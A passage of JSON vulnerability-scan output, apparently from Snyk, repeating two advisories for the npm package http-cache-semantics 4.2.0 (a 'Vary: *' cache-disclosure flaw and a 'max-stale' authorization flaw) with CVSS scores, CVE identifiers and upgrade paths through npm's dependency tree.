"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
